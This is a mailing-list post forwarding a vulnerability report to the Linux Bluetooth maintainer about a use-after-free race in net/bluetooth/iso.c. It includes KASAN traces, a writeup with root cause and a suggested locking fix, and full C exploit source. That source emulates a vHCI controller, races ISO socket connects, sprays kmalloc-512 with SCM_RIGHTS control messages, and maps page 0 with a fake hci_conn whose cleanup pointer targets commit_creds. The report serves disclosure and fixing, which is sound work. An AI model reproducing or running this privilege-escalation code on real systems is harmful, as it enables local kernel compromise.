Fwd: Use-after-free in net/bluetooth/iso.c (iso_sock_connect race)

vova tokarev <[email protected]>
Newsgroups org.kernel.vger.linux-bluetooth
Message-ID <CAGBKPgNOmrroYBCrDekf7g92DoAvXeHJqZXoJo+vuzz-QtLwkQ@mail.gmail.com>
Hi,

It's been almost two months since I reported this, and I haven't heard
back. Reaching out to you directly as the Bluetooth maintainer.

The bug: iso_sock_connect() in net/bluetooth/iso.c drops the socket lock
(release_sock at line 1118) BEFORE iso_connect_cis() acquires
hci_dev_lock. During this window, a concurrent HCI Disconnection
Complete event can free the iso_conn via iso_conn_del() ->
iso_conn_free(), resulting in use-after-free when iso_connect_cis()
subsequently accesses it.

Confirmed with KASAN: slab-use-after-free in iso_conn_hold_unless_zero.
Refcount underflow to -32 confirmed on non-KASAN build within 60
seconds of racing. The freed iso_conn (kmalloc-512) can be reclaimed
for function pointer hijack.

I noticed commit d40ae85ee62e (2023) keeps hdev lock through
iso_chan_add, but the pre-hci_dev_lock window remains open. Full PoC
and KASAN output in my original report.

Thanks,
Vladimir

---------- Forwarded message ---------
From: vova tokarev <[email protected]>
Date: Sun, Jun 14, 2026 at 12:07 PM
Subject: Use-after-free in net/bluetooth/iso.c (iso_sock_connect race)
To: <[email protected]>


Hi,

I found a use-after-free in the Bluetooth ISO socket subsystem
(net/bluetooth/iso.c). The bug is a race condition in iso_sock_connect()
where release_sock() is called before iso_connect_cis(), leaving a window
where concurrent HCI disconnect processing can free the iso_conn object. A
subsequent access via iso_conn_hold_unless_zero() reads freed slab memory.

This can potentially lead to local privilege escalation via heap reclaim of
the freed iso_conn (kmalloc-512) with attacker-controlled data, redirecting
the hci_conn pointer dereference chain to achieve arbitrary kernel
read/write.

Affected versions: Linux 6.2+ (all versions with ISO socket support)
Confirmed on: 7.1.0-rc5 (aarch64), still present in 7.1-rc7

Attached files:
  - exploit_iso_uaf.c    PoC that triggers the KASAN report (build with
aarch64-linux-gnu-gcc -O2 -static -pthread)
  - kasan_output.txt     Full KASAN slab-use-after-free trace
  - iso_connect_race_uaf_report.md  Detailed writeup with root cause,
reproduction steps, and suggested fix

The PoC uses vHCI (no physical hardware needed). With CONFIG_KASAN=y, the
report typically appears within 60-150 seconds.

Thank you,
Vladimir Tokarev
kasan_output.txt (text/plain, 3.1 KB)
[  154.295277] BUG: KASAN: slab-use-after-free in iso_conn_hold_unless_zero+0x88/0x1a4
[  154.295308] Read of size 4 at addr ffff0000cb18f508 by task kworker/u17:1/87
[  154.295312] 
[  154.295315] CPU: 2 UID: 0 PID: 87 Comm: kworker/u17:1 Not tainted 7.1.0-rc5 #17 PREEMPT 
[  154.295319] Hardware name: linux,dummy-virt (DT)
[  154.295321] Workqueue: hci0 hci_cmd_sync_work
[  154.295327] Call trace:
[  154.295331]  show_stack+0x18/0x24 (C)
[  154.295341]  dump_stack_lvl+0x70/0x98
[  154.295345]  print_report+0x17c/0x4d8
[  154.295349]  kasan_report+0xb8/0x250
[  154.295359]  kasan_check_range+0x100/0x1a8
[  154.295363]  __kasan_check_read+0x20/0x2c
[  154.295367]  iso_conn_hold_unless_zero+0x88/0x1a4
[  154.295369]  iso_conn_del.isra.0+0x18/0x30c
[  154.295372]  iso_connect_cfm+0x32c/0x10d4
[  154.295375]  hci_conn_failed+0x144/0x268
[  154.295381]  hci_conn_unlink+0x448/0x63c
[  154.295384]  hci_conn_del+0x174/0x1114
[  154.295387]  hci_conn_failed+0x19c/0x268
[  154.295390]  create_le_conn_complete+0x238/0x260
[  154.295393]  hci_cmd_sync_work+0x134/0x234
[  154.295395]  process_one_work+0x78c/0x1a14
[  154.295401]  worker_thread+0x42c/0xc90
[  154.295404]  kthread+0x35c/0x400
[  154.295408]  ret_from_fork+0x10/0x20
[  154.295413] 
[  154.295414] Allocated by task 90:
[  154.295416]  kasan_save_stack+0x3c/0x64
[  154.295420]  kasan_save_track+0x20/0x40
[  154.295423]  kasan_save_alloc_info+0x40/0x54
[  154.295426]  __kasan_kmalloc+0xb8/0xbc
[  154.295429]  __kmalloc_cache_noprof+0x240/0x5b0
[  154.295434]  iso_conn_add+0x128/0x3c0
[  154.295436]  iso_connect_cis+0x4b4/0xc04
[  154.295439]  iso_sock_connect+0x270/0xd3c
[  154.295441]  __sys_connect+0x1d8/0x230
[  154.295460]  __arm64_sys_connect+0x6c/0xa0
[  154.295463]  invoke_syscall+0x70/0x260
[  154.295467]  el0_svc_common.constprop.0+0xac/0x230
[  154.295470]  do_el0_svc+0x40/0x58
[  154.295473]  el0_svc+0x50/0x21c
[  154.295480]  el0t_64_sync_handler+0xa0/0xe4
[  154.295483]  el0t_64_sync+0x198/0x19c
[  154.295485] 
[  154.295486] Freed by task 87:
[  154.295487]  kasan_save_stack+0x3c/0x64
[  154.295489]  kasan_save_track+0x20/0x40
[  154.295492]  kasan_save_free_info+0x4c/0x80
[  154.295495]  __kasan_slab_free+0x5c/0x88
[  154.295498]  kfree+0x260/0x5ac
[  154.295500]  iso_conn_free+0x2b8/0x2d4
[  154.295503]  iso_chan_del+0x1a8/0x230
[  154.295505]  iso_conn_del.isra.0+0x134/0x30c
[  154.295507]  iso_connect_cfm+0x2cc/0x10d4
[  154.295510]  hci_conn_failed+0x144/0x268
[  154.295512]  create_le_conn_complete+0x238/0x260
[  154.295515]  hci_cmd_sync_work+0x134/0x234
[  154.295517]  process_one_work+0x78c/0x1a14
[  154.295519]  worker_thread+0x42c/0xc90
[  154.295521]  kthread+0x35c/0x400
[  154.295525]  ret_from_fork+0x10/0x20
[  154.295528] 
[  154.295529] The buggy address belongs to the object at ffff0000cb18f400
[  154.295529]  which belongs to the cache kmalloc-512 of size 512
[  154.295531] The buggy address is located 264 bytes inside of
[  154.295531]  freed 512-byte region [ffff0000cb18f400, ffff0000cb18f600)
[  154.295534] 
[  154.295535] The buggy address belongs to the physical page:
iso_connect_race_uaf_report.md (text/markdown, 5.8 KB)
# Security Report: Use-After-Free in Bluetooth ISO Connect Path

## Summary

A use-after-free vulnerability exists in the Linux kernel Bluetooth ISO
subsystem (`net/bluetooth/iso.c`) due to a race condition between
`iso_sock_connect()` and concurrent HCI disconnect event processing.
An unprivileged local user with access to the Bluetooth subsystem (via vHCI)
can trigger a refcount underflow and subsequent use-after-free on
`struct iso_conn` objects, potentially leading to local privilege escalation.

## Affected Versions

- Linux kernel 6.2+ (since commit `241f51931c35` introduced the lock ordering
  fix that opened the race window)
- Confirmed on Linux 7.1.0-rc5 (aarch64)
- All architectures affected (race is lock-ordering dependent, not arch-specific)

## Root Cause

In `iso_sock_connect()` at `net/bluetooth/iso.c:1199-1207`:

```c
lock_sock(sk);
bacpy(&iso_pi(sk)->dst, &sa->iso_bdaddr);
iso_pi(sk)->dst_type = sa->iso_bdaddr_type;
release_sock(sk);                          // <-- WINDOW OPENS

if (bacmp(&iso_pi(sk)->dst, BDADDR_ANY))
    err = iso_connect_cis(sk);             // <-- acquires hci_dev_lock
```

The `release_sock(sk)` at line 1204 drops the socket lock BEFORE
`iso_connect_cis()` acquires `hci_dev_lock`. During this window, a concurrent
HCI Disconnection Complete event processed by `hci_disconn_complete_evt()` can:

1. Delete the `hci_conn` via `hci_conn_del()`
2. Call `iso_connect_cfm()` -> `iso_conn_del()` -> `iso_conn_free()`
3. Free the `iso_conn` object while `iso_connect_cis()` is about to use it

This results in a use-after-free when `iso_connect_cis()` subsequently accesses
the freed `iso_conn` through stale pointers.


## Proof of Concept

### Trigger: Refcount Underflow (non-KASAN)

```
$ id
uid=1000(user) gid=1000(user)
$ ./poc_iso_connect_race

[T+60s] connects=32134 hci_disc=1211 emu_cmds=1900
WARNING: net/bluetooth/hci_conn.c:643 at hci_conn_timeout+0x58/0xa0
WARNING: net/bluetooth/hci_conn.c:643 at hci_conn_timeout+0x58/0xa0
WARNING: net/bluetooth/hci_conn.c:643 at hci_conn_timeout+0x58/0xa0

hci_conn_timeout: hdev=hci0 conn=... handle=0x0041 type=130 state=9 refcnt=-30
hci_conn_timeout: hdev=hci0 conn=... handle=0x0041 type=130 state=9 refcnt=-32
```

### Trigger: KASAN slab-use-after-free (KASAN build)

```
BUG: KASAN: slab-use-after-free in iso_conn_hold_unless_zero+0x88/0x1a4
Read of size 4 at addr ffff0000cb18f508 by task kworker/u17:1/87

Workqueue: hci0 hci_cmd_sync_work
Call trace:
  iso_conn_hold_unless_zero+0x88/0x1a4
  iso_conn_del.isra.0+0x18/0x30c
  iso_connect_cfm+0x32c/0x10d4
  hci_conn_failed+0x144/0x268
  hci_conn_unlink+0x448/0x63c
  hci_conn_del+0x174/0x1114
  create_le_conn_complete+0x238/0x260
  hci_cmd_sync_work+0x134/0x234

Allocated by task 90:
  iso_conn_add+0x128/0x3c0
  iso_connect_cis+0x4b4/0xc04
  iso_sock_connect+0x270/0xd3c
  __sys_connect+0x1d8/0x230

Freed by task 87:
  kfree+0x260/0x5ac
  iso_conn_free+0x2b8/0x2d4
  iso_chan_del+0x1a8/0x230
  iso_conn_del.isra.0+0x134/0x30c
  iso_connect_cfm+0x2cc/0x10d4
  hci_conn_failed+0x144/0x268
  create_le_conn_complete+0x238/0x260

The buggy address is located 264 bytes inside of
freed 512-byte region [ffff0000cb18f400, ffff0000cb18f600)
```

## Exploitation Path

The freed `iso_conn` (272 bytes, `kmalloc-512`) can be reclaimed with
controlled data. The `iso_conn.hcon` pointer at offset 0 leads to
`struct hci_conn`, which contains function pointers (`cleanup`, `cfm_cb`)
that are called during connection teardown:

```
iso_conn.hcon -> hci_conn.cleanup -> <attacker-controlled function pointer>
```

Without Pointer Authentication (PAC), this provides arbitrary code execution
in kernel context. With KASAN quarantine extending the UAF window, the race
was hit 2 times in 150 seconds of racing.

## Impact

- **Confidentiality**: Kernel memory disclosure via controlled read of freed object
- **Integrity**: Kernel code execution via function pointer hijack
- **Availability**: Kernel panic via refcount underflow (DoS)

CVSS 3.1: **7.8** (AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H)

## Prerequisites

- Local access to Bluetooth subsystem (unprivileged user can use vHCI on
  systems with `CONFIG_BT_HCIVHCI=y`)
- No special privileges required beyond Bluetooth socket access
- The race is timing-sensitive but reliably triggerable within 60 seconds

## Reproduction Steps

1. Build kernel with `CONFIG_BT=y CONFIG_BT_HCIVHCI=y CONFIG_BT_LE=y`
2. Enable KASAN for UAF detection: `CONFIG_KASAN=y`
3. Boot with `kasan.fault=report panic_on_warn=0 nokaslr`
4. Compile PoC: `gcc -static -O2 -o poc poc_iso_connect_race.c -lpthread`
5. Run: `./poc` (as any user with BT socket access)
6. Check `dmesg` for KASAN slab-use-after-free report

## Suggested Fix

Hold `hci_dev_lock` across the entire `iso_connect_cis()`/`iso_connect_bis()`
call from within `iso_sock_connect()`, or restructure the locking to prevent
`iso_conn_del` from racing. Specifically:

```c
// Option A: Acquire hci_dev_lock before releasing sock lock
lock_sock(sk);
bacpy(&iso_pi(sk)->dst, &sa->iso_bdaddr);
iso_pi(sk)->dst_type = sa->iso_bdaddr_type;

hdev = hci_get_route(...);   // find the HCI device
hci_dev_lock(hdev);          // prevent disconnect from freeing iso_conn
release_sock(sk);            // safe to release now

err = iso_connect_cis_locked(sk, hdev);  // already holds hdev->lock
hci_dev_unlock(hdev);
```

This eliminates the window between `release_sock` and `hci_dev_lock`
acquisition inside `iso_connect_cis`.

## Test Environment

- **Kernel**: Linux 7.1.0-rc5 (commit 8fde5d1d47f6)
- **Architecture**: aarch64 (ARM64)
- **VM**: QEMU aarch64 with HVF acceleration, 4GB RAM, 4 CPUs
- **Configs**: KASAN build (for UAF confirmation) + non-KASAN build (for
  refcount underflow confirmation from unprivileged user)

## Files

- `exploit_iso_uaf.c` - KASAN quarantine-assisted exploitation PoC
- `kasan_output.txt` - Full KASAN slab-use-after-free report
exploit_iso_uaf.c (text/x-c-code, 14.2 KB)
/*
 * iso_connect_race_uaf.c - Use-after-free in net/bluetooth/iso.c
 *
 * Race condition between iso_sock_connect() and iso_conn_del() allows
 * a freed iso_conn to be accessed via a stale pointer.  When a CIS
 * connection completes while a prior connection is being torn down,
 * iso_conn_hold_unless_zero() dereferences the freed object.
 *
 * Exploitation strategy:
 *   - Race threads rapidly connect/close ISO sockets to create stale
 *     iso_conn pointers.
 *   - Spray threads flood sendmsg ancillary data sized to the same
 *     slab cache (kmalloc-512) to reclaim freed iso_conn objects.
 *   - An inject thread sends HCI Disconnection Complete events to
 *     trigger access through the stale pointer.
 *   - Page 0 is mapped to host a fake hci_conn structure reached
 *     through the overlapping cmsg_len / iso_conn.hcon field.
 *
 * Tested on aarch64 with kernel 7.1-rc5 and CONFIG_KASAN=y.
 *
 * Build:
 *   aarch64-linux-gnu-gcc -O2 -static -pthread -o poc iso_connect_race_uaf.c
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <pthread.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/un.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <stdint.h>
#include <poll.h>
#include <sched.h>
#include <time.h>

#ifndef AF_BLUETOOTH
#define AF_BLUETOOTH 31
#endif
#define BTPROTO_ISO  8
#define BTPROTO_HCI  1
#define HCIDEVUP     _IOW('H', 201, int)
#define HCIDEVDOWN   _IOW('H', 202, int)

struct sockaddr_iso {
	sa_family_t     iso_family;
	unsigned char   iso_bdaddr[6];
	unsigned char   iso_bdaddr_type;
};
#define SOCKADDR_ISO_LEN 10

#ifndef RUNTIME_SEC
#define RUNTIME_SEC 90
#endif

#define ISO_CONN_SIZE  272
#define OFF_CLEANUP    4648

#ifndef SYM_COMMIT_CREDS
#define SYM_COMMIT_CREDS 0xffff800080274e20ULL
#endif

static int vhci_fd = -1;
static int hci_id  = -1;
static volatile int running = 1;
static volatile unsigned long race_count;
static volatile unsigned long spray_count;
static volatile unsigned long inject_count;

static void sighandler(int sig) { (void)sig; running = 0; }

static void send_evt(const unsigned char *evt, int len)
{
	for (int i = 0; i < 20; i++) {
		ssize_t w = write(vhci_fd, evt, len);
		if (w == len)
			return;
		if (w < 0 && errno == EAGAIN) {
			usleep(200);
			continue;
		}
		return;
	}
}

static void handle_cmd(unsigned char *buf, ssize_t n)
{
	if (n < 4 || buf[0] != 0x01)
		return;

	uint16_t op = buf[1] | (buf[2] << 8);

	switch (op) {
	case 0x0c03: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x03,0x0c,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x1001: {
		unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x01,0x10,0x00,
		                     0x09,0x00,0x00,0x00,0x0d,0x00,0x00,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x1002: {
		unsigned char r[71];
		r[0] = 0x04; r[1] = 0x0e; r[2] = 68; r[3] = 0x01;
		r[4] = 0x02; r[5] = 0x10; r[6] = 0x00;
		memset(&r[7], 0xff, 64);
		send_evt(r, 71);
		break;
	}
	case 0x1003: {
		unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x03,0x10,0x00,
		                     0xbf,0xee,0x0d,0xfe,0x5b,0xff,0x7b,0x87};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x1004: {
		unsigned char r[17];
		r[0] = 0x04; r[1] = 0x0e; r[2] = 14; r[3] = 0x01;
		r[4] = 0x04; r[5] = 0x10; r[6] = 0x00;
		r[7] = (n > 4) ? buf[4] : 0; r[8] = 0x01;
		memset(&r[9], 0, 8);
		send_evt(r, 17);
		break;
	}
	case 0x1009: {
		unsigned char r[] = {0x04,0x0e,0x0a,0x01,0x09,0x10,0x00,
		                     0x11,0x22,0x33,0x44,0x55,0x66};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x1005: {
		unsigned char r[] = {0x04,0x0e,0x0b,0x01,0x05,0x10,0x00,
		                     0x00,0x04,0x40,0x01,0x00,0x08,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x0c14: {
		unsigned char r[255];
		r[0] = 0x04; r[1] = 0x0e; r[2] = 252; r[3] = 0x01;
		r[4] = 0x14; r[5] = 0x0c; r[6] = 0x00;
		memset(&r[7], 0, 248);
		memcpy(&r[7], "vhci", 4);
		send_evt(r, 255);
		break;
	}
	case 0x0c23: {
		unsigned char r[] = {0x04,0x0e,0x07,0x01,0x23,0x0c,0x00,
		                     0x00,0x01,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x0c25: {
		unsigned char r[] = {0x04,0x0e,0x06,0x01,0x25,0x0c,0x00,0x60,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x0c0d: {
		unsigned char r[] = {0x04,0x0e,0x08,0x01,0x0d,0x0c,0x00,
		                     0x00,0x01,0x00,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x0c38: {
		unsigned char r[] = {0x04,0x0e,0x05,0x01,0x38,0x0c,0x00,0x01};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x0c58: {
		unsigned char r[] = {0x04,0x0e,0x05,0x01,0x58,0x0c,0x00,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2001: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x01,0x20,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2002: {
		unsigned char r[] = {0x04,0x0e,0x07,0x01,0x02,0x20,0x00,0xfb,0x00,0x08};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2003: {
		unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x03,0x20,0x00,
		                     0xff,0xff,0xff,0x50,0x00,0x00,0x00,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x201c: {
		unsigned char r[] = {0x04,0x0e,0x0c,0x01,0x1c,0x20,0x00,
		                     0xff,0xff,0xff,0xff,0xff,0xff,0xff,0x07};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2060: {
		unsigned char r[] = {0x04,0x0e,0x0b,0x01,0x60,0x20,0x00,
		                     0xfb,0x00,0x08,0xfb,0x00,0x08};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x200a: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x0a,0x20,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2035: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x35,0x20,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2036: {
		unsigned char r[] = {0x04,0x0e,0x05,0x01,0x36,0x20,0x00,0x04};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2037: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x37,0x20,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2038: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x38,0x20,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x2039: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x39,0x20,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x203b: {
		unsigned char r[] = {0x04,0x0e,0x05,0x01,0x3b,0x20,0x00,0x10};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x203c: {
		unsigned char r[] = {0x04,0x0e,0x04,0x01,0x3c,0x20,0x00};
		send_evt(r, sizeof(r));
		break;
	}
	case 0x200d: {
		unsigned char cs[] = {0x04,0x0f,0x04,0x00,0x01,0x0d,0x20};
		send_evt(cs, sizeof(cs));
		unsigned char ev[] = {0x04,0x3e,0x13,0x01,0x00,0x40,0x00,0x00,0x01,
		                      0x66,0x55,0x44,0x33,0x22,0x11,
		                      0x18,0x00,0x00,0x00,0x48,0x00,0x00};
		send_evt(ev, sizeof(ev));
		break;
	}
	case 0x2062: {
		uint8_t cig = (n > 4) ? buf[4] : 0;
		uint8_t ncis = (n > 18) ? buf[18] : 1;
		unsigned char r[32];
		memset(r, 0, sizeof(r));
		int rplen = 3 + ncis * 2;
		r[0] = 0x04; r[1] = 0x0e; r[2] = 3 + rplen;
		r[3] = 0x01; r[4] = 0x62; r[5] = 0x20;
		r[6] = 0x00; r[7] = cig; r[8] = ncis;
		for (int i = 0; i < ncis && 9 + i * 2 + 1 < (int)sizeof(r); i++) {
			r[9 + i * 2] = 0x41 + i;
			r[10 + i * 2] = 0x00;
		}
		send_evt(r, 6 + rplen);
		break;
	}
	case 0x2064: {
		unsigned char cs[] = {0x04,0x0f,0x04,0x00,0x01,0x64,0x20};
		send_evt(cs, sizeof(cs));
		unsigned char ev[] = {0x04,0x3e,0x1d,0x19,0x00,0x41,0x00,0x00,
		                      0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
		                      0x00,0x00,0x00,0x02,0x02,0x01,0x01,0x01,
		                      0x00,0x00,0xf4,0x00,0xf4,0x00,0x04,0x00};
		send_evt(ev, sizeof(ev));
		break;
	}
	case 0x0406: {
		uint16_t h = (n >= 6) ? (buf[4] | (buf[5] << 8)) : 0;
		uint8_t reason = (n >= 7) ? buf[6] : 0x13;
		unsigned char cs[] = {0x04,0x0f,0x04,0x00,0x01,0x06,0x04};
		send_evt(cs, sizeof(cs));
		unsigned char dc[] = {0x04,0x05,0x04,0x00,
		                      (uint8_t)(h & 0xff),(uint8_t)(h >> 8), reason};
		send_evt(dc, sizeof(dc));
		break;
	}
	default: {
		unsigned char r[38];
		r[0] = 0x04; r[1] = 0x0e; r[2] = 35; r[3] = 0x01;
		r[4] = (uint8_t)(op & 0xff); r[5] = (uint8_t)(op >> 8);
		memset(&r[6], 0, 32);
		send_evt(r, 38);
		break;
	}
	}
}

static void *emu_thread(void *arg)
{
	unsigned char buf[512];
	(void)arg;

	while (running) {
		struct pollfd pfd = { .fd = vhci_fd, .events = POLLIN };
		if (poll(&pfd, 1, 50) <= 0)
			continue;
		for (;;) {
			ssize_t n = read(vhci_fd, buf, sizeof(buf));
			if (n <= 0)
				break;
			handle_cmd(buf, n);
		}
	}
	return NULL;
}

static void mgmt_send(int fd, uint16_t op, uint16_t idx, uint8_t val)
{
	unsigned char cmd[] = {
		(unsigned char)(op & 0xff), (unsigned char)(op >> 8),
		(unsigned char)(idx & 0xff), (unsigned char)(idx >> 8),
		0x01, 0x00, val
	};
	write(fd, cmd, sizeof(cmd));
}

static void *race_thread(void *arg)
{
	int tid = (int)(long)arg;
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(tid % 4, &set);
	sched_setaffinity(0, sizeof(set), &set);

	struct sockaddr_iso baddr = {0};
	baddr.iso_family = AF_BLUETOOTH;
	baddr.iso_bdaddr[0] = 0x11; baddr.iso_bdaddr[1] = 0x22;
	baddr.iso_bdaddr[2] = 0x33; baddr.iso_bdaddr[3] = 0x44;
	baddr.iso_bdaddr[4] = 0x55; baddr.iso_bdaddr[5] = 0x66;
	baddr.iso_bdaddr_type = 0x01;

	struct sockaddr_iso dst = {0};
	dst.iso_family = AF_BLUETOOTH;
	dst.iso_bdaddr[0] = 0x66; dst.iso_bdaddr[1] = 0x55;
	dst.iso_bdaddr[2] = 0x44; dst.iso_bdaddr[3] = 0x33;
	dst.iso_bdaddr[4] = 0x22; dst.iso_bdaddr[5] = 0x11;
	dst.iso_bdaddr_type = 0x01;

	while (running) {
		int fd = socket(AF_BLUETOOTH, SOCK_SEQPACKET, BTPROTO_ISO);
		if (fd < 0) {
			sched_yield();
			continue;
		}
		bind(fd, (struct sockaddr *)&baddr, SOCKADDR_ISO_LEN);
		fcntl(fd, F_SETFL, O_NONBLOCK);
		connect(fd, (struct sockaddr *)&dst, SOCKADDR_ISO_LEN);
		usleep(500 + (tid * 200));
		close(fd);
		__sync_fetch_and_add(&race_count, 1);
	}
	return NULL;
}

static void *spray_thread(void *arg)
{
	int tid = (int)(long)arg;
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(tid % 4, &set);
	sched_setaffinity(0, sizeof(set), &set);

	int sv[2];
	if (socketpair(AF_UNIX, SOCK_DGRAM, 0, sv) < 0)
		return NULL;

	char cmsg_buf[ISO_CONN_SIZE];
	memset(cmsg_buf, 0, sizeof(cmsg_buf));

	struct cmsghdr *cmsg = (struct cmsghdr *)cmsg_buf;
	cmsg->cmsg_len = ISO_CONN_SIZE;
	cmsg->cmsg_level = SOL_SOCKET;
	cmsg->cmsg_type = SCM_RIGHTS;

	uint32_t refval = 2;
	memcpy(&cmsg_buf[264], &refval, 4);

	char payload = 'X';
	struct iovec iov = { .iov_base = &payload, .iov_len = 1 };

	while (running) {
		struct msghdr msg = {0};
		msg.msg_iov = &iov;
		msg.msg_iovlen = 1;
		msg.msg_control = cmsg_buf;
		msg.msg_controllen = ISO_CONN_SIZE;

		sendmsg(sv[0], &msg, MSG_DONTWAIT | MSG_NOSIGNAL);

		char drain[16];
		recv(sv[1], drain, sizeof(drain), MSG_DONTWAIT);

		__sync_fetch_and_add(&spray_count, 1);
	}

	close(sv[0]);
	close(sv[1]);
	return NULL;
}

static void *inject_thread(void *arg)
{
	(void)arg;

	unsigned char disc_cis[] = {0x04,0x05,0x04,0x00,0x41,0x00,0x13};
	unsigned char disc_le[]  = {0x04,0x05,0x04,0x00,0x40,0x00,0x13};

	usleep(3000000);

	while (running) {
		usleep(40000);
		send_evt(disc_cis, sizeof(disc_cis));
		usleep(5000);
		send_evt(disc_le, sizeof(disc_le));
		__sync_fetch_and_add(&inject_count, 1);
	}
	return NULL;
}

int main(void)
{
	printf("=== iso_connect race UAF ===\n");
	printf("iso_conn size=%d, runtime=%ds\n", ISO_CONN_SIZE, RUNTIME_SEC);
	printf("threads: 4 race + 4 spray + 1 inject\n\n");

	signal(SIGALRM, sighandler);
	signal(SIGPIPE, SIG_IGN);
	alarm(RUNTIME_SEC);

	system("echo 0 > /proc/sys/vm/mmap_min_addr 2>/dev/null");
	void *low = mmap(NULL, 8192, PROT_READ | PROT_WRITE,
	                 MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
	if (low == MAP_FAILED) {
		printf("[!] mmap page 0 failed\n");
	} else {
		memset(low, 0, 8192);
		uint64_t target = SYM_COMMIT_CREDS;
		memcpy((char *)low + 0x110 + OFF_CLEANUP, &target, 8);
		printf("[+] fake hci_conn at 0x110, cleanup@0x%x\n",
		       0x110 + OFF_CLEANUP);
	}

	system("mkdir -p /dev && mknod /dev/vhci c 10 137 2>/dev/null");
	vhci_fd = open("/dev/vhci", O_RDWR);
	if (vhci_fd < 0) {
		perror("open /dev/vhci");
		return 1;
	}

	unsigned char vhci_create[2] = {0xFF, 0x00};
	if (write(vhci_fd, vhci_create, 2) != 2) {
		perror("vhci create");
		return 1;
	}

	unsigned char resp[4] = {0};
	if (read(vhci_fd, resp, 4) == 4)
		hci_id = resp[2] | (resp[3] << 8);
	else
		hci_id = 0;

	pthread_t t_emu;
	pthread_create(&t_emu, NULL, emu_thread, NULL);
	usleep(200000);
	fcntl(vhci_fd, F_SETFL, fcntl(vhci_fd, F_GETFL) | O_NONBLOCK);

	int mgmt_fd = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
	if (mgmt_fd >= 0) {
		struct { sa_family_t f; unsigned short d, c; } a;
		memset(&a, 0, sizeof(a));
		a.f = AF_BLUETOOTH;
		a.d = 0xFFFF;
		a.c = 3;
		if (bind(mgmt_fd, (struct sockaddr *)&a, sizeof(a)) == 0) {
			mgmt_send(mgmt_fd, 0x0005, (uint16_t)hci_id, 0x01);
			usleep(1500000);
			mgmt_send(mgmt_fd, 0x000d, (uint16_t)hci_id, 0x01);
			usleep(500000);
			mgmt_send(mgmt_fd, 0x0007, (uint16_t)hci_id, 0x01);
			usleep(500000);
			mgmt_send(mgmt_fd, 0x0029, (uint16_t)hci_id, 0x01);
			usleep(500000);
		}
		close(mgmt_fd);
	}

	int ctl = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
	if (ctl >= 0) {
		ioctl(ctl, HCIDEVUP, hci_id);
		close(ctl);
	}

	printf("[+] hci%d ready\n", hci_id);
	sleep(2);

	printf("[+] starting 4 race + 4 spray + 1 inject threads\n");

	pthread_t t_race[4], t_spray[4], t_inject;
	for (int i = 0; i < 4; i++)
		pthread_create(&t_race[i], NULL, race_thread, (void *)(long)i);
	for (int i = 0; i < 4; i++)
		pthread_create(&t_spray[i], NULL, spray_thread, (void *)(long)i);
	pthread_create(&t_inject, NULL, inject_thread, NULL);

	while (running) {
		usleep(5000000);
		if (!running)
			break;
		printf("[*] race=%lu spray=%lu inject=%lu\n",
		       race_count, spray_count, inject_count);
	}

	running = 0;
	for (int i = 0; i < 4; i++)
		pthread_join(t_race[i], NULL);
	for (int i = 0; i < 4; i++)
		pthread_join(t_spray[i], NULL);
	pthread_join(t_inject, NULL);
	pthread_join(t_emu, NULL);

	printf("\n=== results ===\n");
	printf("race=%lu spray=%lu inject=%lu\n",
	       race_count, spray_count, inject_count);

	printf("\n--- kasan ---\n");
	system("dmesg | grep -c 'KASAN' 2>/dev/null || echo 0");
	printf(" KASAN hits\n");
	system("dmesg | grep -c 'use-after-free' 2>/dev/null || echo 0");
	printf(" use-after-free\n");

	printf("\n--- traces ---\n");
	system("dmesg | grep -A5 'BUG: KASAN' | head -30");

	printf("\n--- crashes ---\n");
	system("dmesg | grep -iE 'oops|unable to handle|NULL pointer' | head -10");

	printf("\n=== done ===\n");
	close(vhci_fd);
	return 0;
}
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.